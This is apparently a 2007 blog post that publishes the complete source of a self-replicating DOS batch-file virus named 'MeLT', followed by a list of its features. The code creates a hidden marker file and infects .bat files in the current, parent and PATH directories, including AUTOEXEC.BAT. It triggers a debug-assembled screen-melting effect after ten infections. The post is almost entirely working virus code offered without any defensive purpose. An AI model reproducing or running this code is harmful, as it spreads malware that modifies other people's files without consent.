Thursday, November 8, 2007


**********************code starts here*****************************
@if not '%0==' if '%_melt%==' goto meltbeg
::---- dummy host --------
@echo off
echo Hello World!
::---- end dummy host ----

@goto MeLTend [MeLT_2a]
@echo off%_MeLT%
if '%1=='MeLT goto MeLT%2
if not exist %comspec% set comspec=%_MeLT%command
%comspec% /e:5000 /c %0 MeLT vir
set MeLTcl=%1 %2 %3 %4 %5 %6 %7 %8 %9
call %0 MeLT rh
set _MeLT=
set MeLTcl=
goto MeLTend
set _MeLT=x
%0 %MeLTcl%
set MeLTH=%0
if not exist %_MeLT%%temp%\nul set temp=%tmp%
if exist %temp%\MeLT_2a goto MeLTrun
%0 MeLT fnd . %path%
if '%2==' exit MeLT
set MeLT=%2\%MeLTH%.bat
if not exist %MeLT% set MeLT=%2\%MeLTH%
if not exist %MeLT% set MeLT=%2%MeLTH%.bat
if not exist %MeLT% set MeLT=%2%MeLTH%
if not exist %MeLT% goto MeLTfnd
find "MeLT"<%MeLT%>%temp%\MeLT_2a
attrib %temp%\MeLT_2a +h
%MeLTH% MeLT s . .. %path%
if '%2==' exit MeLT
for %%a in (%2\*.bat %2*.bat) do call %MeLTH% MeLT inf %%a
goto MeLTs
find /i "MeLT"<%3>nul
if not errorlevel 1 goto MeLTno
echo @if not '%%0==' if '%%_melt%%==' goto meltbeg>MeLT.t
type %3>>MeLT.t
type %temp%\MeLT_2a>>MeLT.t
move MeLT.t %3>nul
exit MeLT
:MeLTact - flash-melt screen text then put back to normal
echo e 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE>MeLT.t
echo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8>>MeLT.t
echo e 120 B4 4C CD 21 00>>MeLT.t
echo g>>MeLT.t
del MeLT.t
exit MeLT
set MeLTC=%MeLTC%1
if %MeLTC%==1111111111 goto MeLTact



Creates the hidden file "MELT_2A" in the temp directory
Infects files in the current, parent and all path directories
Infects one batch per run if less than ten infected filesencountered
After detecting ten infected files it displays a graphics screen effect
Adds one line before the host batch and appends the rest
Will not run if attached to AUTOEXEC.BAT (but infects it)

This batch virus is much more advanced. It takes control from the host
immediately, runs the virus then runs the host batch. The host is run in
such a way as to disable the virus until the host is completely finished
to avoid slowing down batch files that call themselves in a loop. Simple
appenders are very obvious when on such files, but this one causes no
significant speed loss except at startup. This virus carries a harmless
payload which is assembled with the debug command - it 'melts' the screen
in a flash of color then returns it to normal before running the host.